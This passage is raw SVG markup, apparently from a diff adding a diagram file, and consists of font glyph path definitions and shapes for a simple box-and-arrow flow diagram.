.832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="P"><path d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="Q"><path d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="R"><path d="M.578-1.172l3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol></defs><path fill="#fff" d="M0 0h482v402H0z"/><path d="M1 1h480v400H1zm0 0" fill-rule="evenodd" fill="#fff" stroke-width="2" stroke="#fff" stroke-miterlimit="10"/><path d="M167 170.809h148v60H167zm0 0M167 176.809v-6c-3.313 0-6 2.687-6 6zm0 0M315 176.809h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M161 176.809h160v48H161zm0 0M167 224.809h-6c0 3.316 2.688 6 6 6zm0 0M315 224.809v6c3.313 0 6-2.684 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M167 170.809h148M167 230.809h148M167 170.809c-3.312 0-6 2.687-6 6M321 176.809c0-3.313-2.687-6-6-6M161 176.809v48M321 176.809v48M161 224.809a6 6 0 0 0 6 6M315 230.809a6 6 0 0 0 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#a" x="223.031" y="208.762"/><use xlink:href="#b" x="232.484" y="208.762"/><use xlink:href="#b" x="237.973" y="208.762"/><use xlink:href="#c" x="243.461" y="208.762"/><use xlink:href="#d" x="251.469" y="208.762"/><path d="M32 308.957h418v63.707H32zm0 0M32 314.957v-6c-3.313 0-6 2.688-6 6zm0 0M450 314.957h6c0-3.312-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M26 314.957h430v51.707H26zm0 0M32 366.664h-6c0 3.313 2.688 6 6 6zm0 0M450 366.664v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M32 308.957h418M32 372.664h418M32 308.957c-3.313 0-6 2.688-6 6M456 314.957c0-3.312-2.687-6-6-6M26 314.957v51.707M456 314.957v51.707M26 366.664c0 3.313 2.687 6 6 6M450 372.664c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#e" x="127.289" y="351.477"/><use xlink:href="#f" x="138.441" y="351.477"/><use xlink:href="#g" x="150.102" y="351.477"/><use xlink:href="#h" x="157.504" y="351.477"/><use xlink:href="#i" x="175.082" y="351.477"/><use xlink:href="#j" x="185.883" y="351.477"/><use xlink:href="#k" x="193.305" y="351.477"/><use xlink:href="#l" x="199.027" y="351.477"/><use xlink:href="#m" x="205.316" y="351.477"/><use xlink:href="#n" x="211.82" y="351.477"/><use xlink:href="#o" x="223.383" y="351.477"/><use xlink:href="#p" x="238.207" y="351.477"/><use xlink:href="#q" x="252.738" y="351.477"/><use xlink:href="#k" x="256" y="351.477"/><use xlink:href="#r" x="261.098" y="351.477"/><use xlink:href="#s" x="274.594" y="351.477"/><use xlink:href="#t" x="291.801" y="351.477"/><use xlink:href="#q" x="303.012" y="351.477"/><use xlink:href="#k" x="306.273" y="351.477"/><use xlink:href="#u" x="311.996" y="351.477"/><use xlink:href="#n" x="324.359" y="351.477"/><use xlink:href="#v" x="335.922" y="351.477"/><use xlink:href="#w" x="348.422" y="351.477"/><path d="M221.379 248.586v50.851" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.379 248.586l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#x" x="271.188" y="253.488"/><use xlink:href="#y" x="278.629" y="253.488"/><use xlink:href="#z" x="286.539" y="253.488"/><use xlink:href="#A" x="292.652" y="253.488"/><use xlink:href="#B" x="300.426" y="253.488"/><use xlink:href="#x" x="308.219" y="253.488"/><g><use xlink:href="#B" x="169.305" y="293.488"/><use xlink:href="#x" x="177.098" y="293.488"/><use xlink:href="#z" x="184.422" y="293.488"/><use xlink:href="#A" x="190.535" y="293.488"/><use xlink:href="#B" x="198.309" y="293.488"/><use xlink:href="#x" x="206.102" y="293.488"/></g><path d="M100.29 112.105l-.216 188.805" fill="none" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M105.29 112.11l-4.993-10.005-5.008 9.993zm0 0" fill-rule="evenodd" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M32 28.957h418v63.707H32zm0 0M32 34.957v-6c-3.313 0-6 2.688-6 6zm0 0M450 34.957h6c0-3.312-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M26 34.957h430v51.707H26zm0 0M32 86.664h-6c0 3.313 2.688 6 6 6zm0 0M450 86.664v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M32 28.957h418M32 92.664h418M32 28.957c-3.313 0-6 2.688-6 6M456 34.957c0-3.312-2.687-6-6-6M26 34.957v51.707M456 34.957v51.707M26 86.664c0 3.313 2.687 6 6 6M450 92.664c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#o" x="210.844" y="71.477"/><use xlink:href="#C" x="225.668" y="71.477"/><use xlink:href="#D" x="237.387" y="71.477"/><use xlink:href="#E" x="243.188" y="71.477"/><use xlink:href="#F" x="254.145" y="71.477"/><use xlink:href="#j" x="263.754" y="71.477"/></g><g><use xlink:href="#G" x="16.973" y="207.512"/><use xlink:href="#H" x="25.625" y="207.512"/><use xlink:href="#I" x="33.887" y="207.512"/><use xlink:href="#H" x="40.645" y="207.512"/><use xlink:href="#b" x="48.906" y="207.512"/><use xlink:href="#J" x="54.395" y="207.512"/><use xlink:href="#c" x="58.73" y="207.512"/><use xlink:href="#K" x="66.738" y="207.512"/><use xlink:href="#J" x="71.406" y="207.512"/><use xlink:href="#L" x="75.742" y="207.512"/><use xlink:href="#H" x="82.734" y="207.512"/></g><g><use xlink:href="#I" x="389.355" y="207.512"/><use xlink:href="#H" x="396.113" y="207.512"/><use xlink:href="#b" x="404.375" y="207.512"/><use xlink:href="#J" x="409.863" y="207.512"/><use xlink:href="#c" x="414.199" y="207.512"/><use xlink:href="#K" x="422.207" y="207.512"/><use xlink:href="#J" x="426.875" y="207.512"/><use xlink:href="#L" x="431.211" y="207.512"/><use xlink:href="#H" x="438.203" y="207.512"/></g><path d="M265.625 99.867v49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M260.625 148.867l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M221.379 111.105v50.852" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.379 111.105l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#y" x="271.188" y="115.75"/><use xlink:href="#A" x="279.098" y="115.75"/><use xlink:href="#M" x="286.871" y="115.75"/><use xlink:href="#N" x="291.813" y="115.75"/><use xlink:href="#O" x="303.531" y="115.75"/><use xlink:href="#P" x="310.738" y="115.75"/><use xlink:href="#Q" x="314.938" y="115.75"/><use xlink:href="#R" x="318.844" y="115.75"/><use xlink:href="#x" x="325.133" y="115.75"/></g><g><use xlink:href="#B" x="136.902" y="155.75"/><use xlink:href="#x" x="144.695" y="155.75"/><use xlink:href="#y" x="152.137" y="155.75"/><use xlink:href="#A" x="160.047" y="155.75"/><use xlink:href="#M" x="167.82" y="155.75"/><use xlink:href="#N" x="172.762" y="155.75"/><use xlink:href="#O" x="184.48" y="155.75"/><use xlink:href="#P" x="191.688" y="155.75"/><use xlink:href="#Q" x="195.887" y="155.75"/><use xlink:href="#R" x="199.793" y="155.75"/><use xlink:href="#x" x="206.082" y="155.75"/></g><path d="M380.023 100.145l-.214 188.804" fill="none" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M374.809 288.945l4.988 10.004 5.012-9.992zm0 0" fill-rule="evenodd" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M265.625 237.348v49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M260.625 286.348l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/></svg>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="498pt" height="404pt" viewBox="0 0 498 404" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 3.59375 L 1.015625 -14.328125 L 11.171875 -14.328125 L 11.171875 3.59375 Z M 2.15625 2.46875 L 10.046875 2.46875 L 10.046875 -13.1875 L 2.15625 -13.1875 Z M 2.15625 2.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 6.953125 -12.84375 L 4.234375 -5.46875 L 9.671875 -5.46875 Z M 5.8125 -14.8125 L 8.09375 -14.8125 L 13.734375 0 L 11.65625 0 L 10.296875 -3.796875 L 3.625 -3.796875 L 2.265625 0 L 0.15625 0 Z M 5.8125 -14.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 8.359375 -9.40625 C 8.148438 -9.53125 7.925781 -9.617188 7.6875 -9.671875 C 7.445312 -9.722656 7.179688 -9.75 6.890625 -9.75 C 5.859375 -9.75 5.066406 -9.410156 4.515625 -8.734375 C 3.960938 -8.066406 3.6875 -7.109375 3.6875 -5.859375 L 3.6875 0 L 1.84375 0 L 1.84375 -11.109375 L 3.6875 -11.109375 L 3.6875 -9.390625 C 4.070312 -10.066406 4.570312 -10.566406 5.1875 -10.890625 C 5.800781 -11.222656 6.546875 -11.390625 7.421875 -11.390625 C 7.546875 -11.390625 7.679688 -11.378906 7.828125 -11.359375 C 7.984375 -11.335938 8.15625 -11.3125 8.34375 -11.28125 Z M 8.359375 -9.40625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.96875 -5.59375 C 5.488281 -5.59375 4.460938 -5.421875 3.890625 -5.078125 C 3.328125 -4.742188 3.046875 -4.171875 3.046875 -3.359375 C 3.046875 -2.703125 3.257812 -2.179688 3.6875 -1.796875 C 4.113281 -1.421875 4.691406 -1.234375 5.421875 -1.234375 C 6.441406 -1.234375 7.253906 -1.59375 7.859375 -2.3125 C 8.472656 -3.03125 8.78125 -3.988281 8.78125 -5.1875 L 8.78125 -5.59375 Z M 10.609375 -6.34375 L 10.609375 0 L 8.78125 0 L 8.78125 -1.6875 C 8.363281 -1.007812 7.84375 -0.507812 7.21875 -0.1875 C 6.601562 0.125 5.84375 0.28125 4.9375 0.28125 C 3.800781 0.28125 2.894531 -0.0351562 2.21875 -0.671875 C 1.550781 -1.304688 1.21875 -2.160156 1.21875 -3.234375 C 1.21875 -4.484375 1.632812 -5.425781 2.46875 -6.0625 C 3.3125 -6.695312 4.5625 -7.015625 6.21875 -7.015625 L 8.78125 -7.015625 L 8.78125 -7.203125 C 8.78125 -8.035156 8.503906 -8.679688 7.953125 -9.140625 C 7.398438 -9.609375 6.625 -9.84375 5.625 -9.84375 C 4.988281 -9.84375 4.367188 -9.765625 3.765625 -9.609375 C 3.171875 -9.453125 2.59375 -9.222656 2.03125 -8.921875 L 2.03125 -10.609375 C 2.695312 -10.867188 3.34375 -11.0625 3.96875 -11.1875 C 4.601562 -11.320312 5.21875 -11.390625 5.8125 -11.390625 C 7.425781 -11.390625 8.628906 -10.972656 9.421875 -10.140625 C 10.210938 -9.304688 10.609375 -8.039062 10.609375 -6.34375 Z M 10.609375 -6.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.546875 1.03125 C 6.023438 2.351562 5.519531 3.21875 5.03125 3.625 C 4.539062 4.03125 3.882812 4.234375 3.0625 4.234375 L 1.609375 4.234375 L 1.609375 2.703125 L 2.6875 2.703125 C 3.1875 2.703125 3.570312 2.582031 3.84375 2.34375 C 4.125 2.101562 4.4375 1.539062 4.78125 0.65625 L 5.109375 -0.171875 L 0.609375 -11.109375 L 2.546875 -11.109375 L 6.015625 -2.421875 L 9.484375 -11.109375 L 11.421875 -11.109375 Z M 6.546875 1.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 9.234375 -9.421875 L 9.234375 -15.4375 L 11.0625 -15.4375 L 11.0625 0 L 9.234375 0 L 9.234375 -1.671875 C 8.847656 -1.003906 8.363281 -0.507812 7.78125 -0.1875 C 7.195312 0.125 6.492188 0.28125 5.671875 0.28125 C 4.328125 0.28125 3.234375 -0.25 2.390625 -1.3125 C 1.546875 -2.382812 1.125 -3.796875 1.125 -5.546875 C 1.125 -7.296875 1.546875 -8.707031 2.390625 -9.78125 C 3.234375 -10.851562 4.328125 -11.390625 5.671875 -11.390625 C 6.492188 -11.390625 7.195312 -11.226562 7.78125 -10.90625 C 8.363281 -10.582031 8.847656 -10.085938 9.234375 -9.421875 Z M 3 -5.546875 C 3 -4.203125 3.273438 -3.144531 3.828125 -2.375 C 4.390625 -1.613281 5.148438 -1.234375 6.109375 -1.234375 C 7.078125 -1.234375 7.835938 -1.613281 8.390625 -2.375 C 8.953125 -3.144531 9.234375 -4.203125 9.234375 -5.546875 C 9.234375 -6.890625 8.953125 -7.941406 8.390625 -8.703125 C 7.835938 -9.472656 7.078125 -9.859375 6.109375 -9.859375 C 5.148438 -9.859375 4.390625 -9.472656 3.828125 -8.703125 C 3.273438 -7.941406 3 -6.890625 3 -5.546875 Z M 3 -5.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 11.421875 -6.015625 L 11.421875 -5.125 L 3.03125 -5.125 C 3.101562 -3.863281 3.476562 -2.90625 4.15625 -2.25 C 4.84375 -1.59375 5.789062 -1.265625 7 -1.265625 C 7.695312 -1.265625 8.375 -1.347656 9.03125 -1.515625 C 9.695312 -1.691406 10.351562 -1.953125 11 -2.296875 L 11 -0.5625 C 10.34375 -0.289062 9.671875 -0.0820312 8.984375 0.0625 C 8.296875 0.207031 7.597656 0.28125 6.890625 0.28125 C 5.117188 0.28125 3.710938 -0.234375 2.671875 -1.265625 C 1.640625 -2.296875 1.125 -3.691406 1.125 -5.453125 C 1.125 -7.265625 1.613281 -8.707031 2.59375 -9.78125 C 3.570312 -10.851562 4.898438 -11.390625 6.578125 -11.390625 C 8.066406 -11.390625 9.242188 -10.90625 10.109375 -9.9375 C 10.984375 -8.976562 11.421875 -7.671875 11.421875 -6.015625 Z M 9.59375 -6.546875 C 9.582031 -7.546875 9.300781 -8.34375 8.75 -8.9375 C 8.207031 -9.539062 7.488281 -9.84375 6.59375 -9.84375 C 5.570312 -9.84375 4.753906 -9.550781 4.140625 -8.96875 C 3.523438 -8.394531 3.175781 -7.585938 3.09375 -6.546875 Z M 9.59375 -6.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 9 -10.796875 L 9 -9.0625 C 8.488281 -9.320312 7.953125 -9.519531 7.390625 -9.65625 C 6.835938 -9.789062 6.265625 -9.859375 5.671875 -9.859375 C 4.765625 -9.859375 4.082031 -9.71875 3.625 -9.4375 C 3.175781 -9.15625 2.953125 -8.738281 2.953125 -8.1875 C 2.953125 -7.757812 3.113281 -7.425781 3.4375 -7.1875 C 3.757812 -6.945312 4.410156 -6.71875 5.390625 -6.5 L 6.015625 -6.359375 C 7.304688 -6.085938 8.222656 -5.695312 8.765625 -5.1875 C 9.316406 -4.675781 9.59375 -3.96875 9.59375 -3.0625 C 9.59375 -2.03125 9.179688 -1.210938 8.359375 -0.609375 C 7.546875 -0.015625 6.425781 0.28125 5 0.28125 C 4.40625 0.28125 3.785156 0.222656 3.140625 0.109375 C 2.492188 -0.00390625 1.816406 -0.175781 1.109375 -0.40625 L 1.109375 -2.296875 C 1.773438 -1.941406 2.4375 -1.675781 3.09375 -1.5 C 3.75 -1.320312 4.398438 -1.234375 5.046875 -1.234375 C 5.898438 -1.234375 6.554688 -1.378906 7.015625 -1.671875 C 7.484375 -1.972656 7.71875 -2.390625 7.71875 -2.921875 C 7.71875 -3.421875 7.550781 -3.800781 7.21875 -4.0625 C 6.882812 -4.332031 6.148438 -4.585938 5.015625 -4.828125 L 4.390625 -4.984375 C 3.253906 -5.222656 2.4375 -5.585938 1.9375 -6.078125 C 1.4375 -6.566406 1.1875 -7.242188 1.1875 -8.109375 C 1.1875 -9.148438 1.554688 -9.957031 2.296875 -10.53125 C 3.035156 -11.101562 4.085938 -11.390625 5.453125 -11.390625 C 6.128906 -11.390625 6.765625 -11.335938 7.359375 -11.234375 C 7.953125 -11.140625 8.5 -10.992188 9 -10.796875 Z M 9 -10.796875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.921875 -11.109375 L 3.734375 -11.109375 L 3.734375 0 L 1.921875 0 Z M 1.921875 -15.4375 L 3.734375 -15.4375 L 3.734375 -13.125 L 1.921875 -13.125 Z M 1.921875 -15.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.921875 -15.4375 L 3.734375 -15.4375 L 3.734375 0 L 1.921875 0 Z M 1.921875 -15.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.125 -11.109375 L 9.796875 -11.109375 L 9.796875 -9.453125 L 2.921875 -1.453125 L 9.796875 -1.453125 L 9.796875 0 L 0.875 0 L 0.875 -1.671875 L 7.734375 -9.65625 L 1.125 -9.65625 Z M 1.125 -11.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 1.296875 4.59375 L 1.296875 -18.3125 L 14.28125 -18.3125 L 14.28125 4.59375 Z M 2.75 3.140625 L 12.828125 3.140625 L 12.828125 -16.859375 L 2.75 -16.859375 Z M 2.75 3.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 13.421875 -18.9375 L 13.421875 -16.78125 L 5.109375 -16.78125 L 5.109375 -11.203125 L 12.609375 -11.203125 L 12.609375 -9.046875 L 5.109375 -9.046875 L 5.109375 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 7.953125 -12.5625 C 6.703125 -12.5625 5.710938 -12.070312 4.984375 -11.09375 C 4.253906 -10.125 3.890625 -8.789062 3.890625 -7.09375 C 3.890625 -5.394531 4.25 -4.054688 4.96875 -3.078125 C 5.695312 -2.097656 6.691406 -1.609375 7.953125 -1.609375 C 9.191406 -1.609375 10.175781 -2.097656 10.90625 -3.078125 C 11.632812 -4.054688 12 -5.394531 12 -7.09375 C 12 -8.769531 11.632812 -10.097656 10.90625 -11.078125 C 10.175781 -12.066406 9.191406 -12.5625 7.953125 -12.5625 Z M 7.953125 -14.546875 C 9.984375 -14.546875 11.578125 -13.882812 12.734375 -12.5625 C 13.890625 -11.25 14.46875 -9.425781 14.46875 -7.09375 C 14.46875 -4.757812 13.890625 -2.929688 12.734375 -1.609375 C 11.578125 -0.285156 9.984375 0.375 7.953125 0.375 C 5.910156 0.375 4.3125 -0.285156 3.15625 -1.609375 C 2.007812 -2.929688 1.4375 -4.757812 1.4375 -7.09375 C 1.4375 -9.425781 2.007812 -11.25 3.15625 -12.5625 C 4.3125 -13.882812 5.910156 -14.546875 7.953125 -14.546875 Z M 7.953125 -14.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 10.671875 -12.015625 C 10.410156 -12.171875 10.125 -12.285156 9.8125 -12.359375 C 9.507812 -12.429688 9.171875 -12.46875 8.796875 -12.46875 C 7.484375 -12.46875 6.472656 -12.035156 5.765625 -11.171875 C 5.054688 -10.316406 4.703125 -9.085938 4.703125 -7.484375 L 4.703125 0 L 2.359375 0 L 2.359375 -14.203125 L 4.703125 -14.203125 L 4.703125 -12 C 5.191406 -12.851562 5.828125 -13.488281 6.609375 -13.90625 C 7.398438 -14.332031 8.359375 -14.546875 9.484375 -14.546875 C 9.640625 -14.546875 9.816406 -14.535156 10.015625 -14.515625 C 10.210938 -14.492188 10.425781 -14.460938 10.65625 -14.421875 Z M 10.671875 -12.015625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 13.5 -11.46875 C 14.082031 -12.519531 14.78125 -13.296875 15.59375 -13.796875 C 16.40625 -14.296875 17.363281 -14.546875 18.46875 -14.546875 C 19.945312 -14.546875 21.085938 -14.023438 21.890625 -12.984375 C 22.691406 -11.953125 23.09375 -10.484375 23.09375 -8.578125 L 23.09375 0 L 20.75 0 L 20.75 -8.5 C 20.75 -9.851562 20.503906 -10.859375 20.015625 -11.515625 C 19.535156 -12.179688 18.800781 -12.515625 17.8125 -12.515625 C 16.601562 -12.515625 15.644531 -12.113281 14.9375 -11.3125 C 14.238281 -10.507812 13.890625 -9.414062 13.890625 -8.03125 L 13.890625 0 L 11.546875 0 L 11.546875 -8.5 C 11.546875 -9.863281 11.304688 -10.875 10.828125 -11.53125 C 10.347656 -12.1875 9.601562 -12.515625 8.59375 -12.515625 C 7.40625 -12.515625 6.457031 -12.109375 5.75 -11.296875 C 5.050781 -10.492188 4.703125 -9.40625 4.703125 -8.03125 L 4.703125 0 L 2.359375 0 L 2.359375 -14.203125 L 4.703125 -14.203125 L 4.703125 -12 C 5.234375 -12.863281 5.867188 -13.503906 6.609375 -13.921875 C 7.359375 -14.335938 8.242188 -14.546875 9.265625 -14.546875 C 10.296875 -14.546875 11.171875 -14.28125 11.890625 -13.75 C 12.617188 -13.226562 13.15625 -12.46875 13.5 -11.46875 Z M 13.5 -11.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 8.90625 -7.140625 C 7.019531 -7.140625 5.710938 -6.921875 4.984375 -6.484375 C 4.253906 -6.054688 3.890625 -5.320312 3.890625 -4.28125 C 3.890625 -3.457031 4.160156 -2.800781 4.703125 -2.3125 C 5.253906 -1.820312 6 -1.578125 6.9375 -1.578125 C 8.226562 -1.578125 9.265625 -2.035156 10.046875 -2.953125 C 10.828125 -3.878906 11.21875 -5.101562 11.21875 -6.625 L 11.21875 -7.140625 Z M 13.5625 -8.109375 L 13.5625 0 L 11.21875 0 L 11.21875 -2.15625 C 10.6875 -1.289062 10.023438 -0.648438 9.234375 -0.234375 C 8.441406 0.171875 7.46875 0.375 6.3125 0.375 C 4.863281 0.375 3.707031 -0.03125 2.84375 -0.84375 C 1.988281 -1.664062 1.5625 -2.765625 1.5625 -4.140625 C 1.5625 -5.734375 2.09375 -6.9375 3.15625 -7.75 C 4.226562 -8.5625 5.828125 -8.96875 7.953125 -8.96875 L 11.21875 -8.96875 L 11.21875 -9.1875 C 11.21875 -10.257812 10.863281 -11.085938 10.15625 -11.671875 C 9.457031 -12.265625 8.46875 -12.5625 7.1875 -12.5625 C 6.375 -12.5625 5.582031 -12.460938 4.8125 -12.265625 C 4.050781 -12.078125 3.3125 -11.789062 2.59375 -11.40625 L 2.59375 -13.5625 C 3.445312 -13.882812 4.273438 -14.128906 5.078125 -14.296875 C 5.890625 -14.460938 6.675781 -14.546875 7.4375 -14.546875 C 9.488281 -14.546875 11.019531 -14.007812 12.03125 -12.9375 C 13.050781 -11.875 13.5625 -10.265625 13.5625 -8.109375 Z M 13.5625 -8.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 4.75 -18.234375 L 4.75 -14.203125 L 9.5625 -14.203125 L 9.5625 -12.390625 L 4.75 -12.390625 L 4.75 -4.671875 C 4.75 -3.515625 4.90625 -2.769531 5.21875 -2.4375 C 5.539062 -2.113281 6.191406 -1.953125 7.171875 -1.953125 L 9.5625 -1.953125 L 9.5625 0 L 7.171875 0 C 5.367188 0 4.125 -0.332031 3.4375 -1 C 2.75 -1.675781 2.40625 -2.898438 2.40625 -4.671875 L 2.40625 -12.390625 L 0.703125 -12.390625 L 0.703125 -14.203125 L 2.40625 -14.203125 L 2.40625 -18.234375 Z M 4.75 -18.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 8.046875 -19.703125 C 6.921875 -17.753906 6.082031 -15.828125 5.53125 -13.921875 C 4.976562 -12.023438 4.703125 -10.101562 4.703125 -8.15625 C 4.703125 -6.195312 4.976562 -4.257812 5.53125 -2.34375 C 6.082031 -0.4375 6.921875 1.484375 8.046875 3.421875 L 6.015625 3.421875 C 4.753906 1.429688 3.804688 -0.519531 3.171875 -2.4375 C 2.546875 -4.351562 2.234375 -6.257812 2.234375 -8.15625 C 2.234375 -10.039062 2.546875 -11.9375 3.171875 -13.84375 C 3.796875 -15.757812 4.742188 -17.710938 6.015625 -19.703125 Z M 8.046875 -19.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 5.109375 -18.9375 L 5.109375 -1.3125 C 5.109375 0.96875 4.675781 2.625 3.8125 3.65625 C 2.945312 4.6875 1.550781 5.203125 -0.375 5.203125 L -1.34375 5.203125 L -1.34375 3.046875 L -0.546875 3.046875 C 0.585938 3.046875 1.382812 2.726562 1.84375 2.09375 C 2.3125 1.457031 2.546875 0.320312 2.546875 -1.3125 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 13.890625 -18.3125 L 13.890625 -15.8125 C 12.921875 -16.28125 12.003906 -16.625 11.140625 -16.84375 C 10.285156 -17.070312 9.453125 -17.1875 8.640625 -17.1875 C 7.253906 -17.1875 6.179688 -16.914062 5.421875 -16.375 C 4.660156 -15.84375 4.28125 -15.078125 4.28125 -14.078125 C 4.28125 -13.234375 4.53125 -12.597656 5.03125 -12.171875 C 5.539062 -11.742188 6.5 -11.398438 7.90625 -11.140625 L 9.453125 -10.828125 C 11.359375 -10.460938 12.765625 -9.820312 13.671875 -8.90625 C 14.578125 -7.988281 15.03125 -6.757812 15.03125 -5.21875 C 15.03125 -3.382812 14.414062 -1.992188 13.1875 -1.046875 C 11.957031 -0.0976562 10.15625 0.375 7.78125 0.375 C 6.882812 0.375 5.929688 0.269531 4.921875 0.0625 C 3.910156 -0.132812 2.863281 -0.4375 1.78125 -0.84375 L 1.78125 -3.46875 C 2.820312 -2.882812 3.84375 -2.445312 4.84375 -2.15625 C 5.84375 -1.863281 6.820312 -1.71875 7.78125 -1.71875 C 9.25 -1.71875 10.378906 -2.003906 11.171875 -2.578125 C 11.960938 -3.148438 12.359375 -3.96875 12.359375 -5.03125 C 12.359375 -5.957031 12.070312 -6.679688 11.5 -7.203125 C 10.9375 -7.734375 10.003906 -8.128906 8.703125 -8.390625 L 7.140625 -8.703125 C 5.222656 -9.078125 3.835938 -9.671875 2.984375 -10.484375 C 2.140625 -11.296875 1.71875 -12.425781 1.71875 -13.875 C 1.71875 -15.539062 2.304688 -16.859375 3.484375 -17.828125 C 4.660156 -18.796875 6.285156 -19.28125 8.359375 -19.28125 C 9.242188 -19.28125 10.144531 -19.195312 11.0625 -19.03125 C 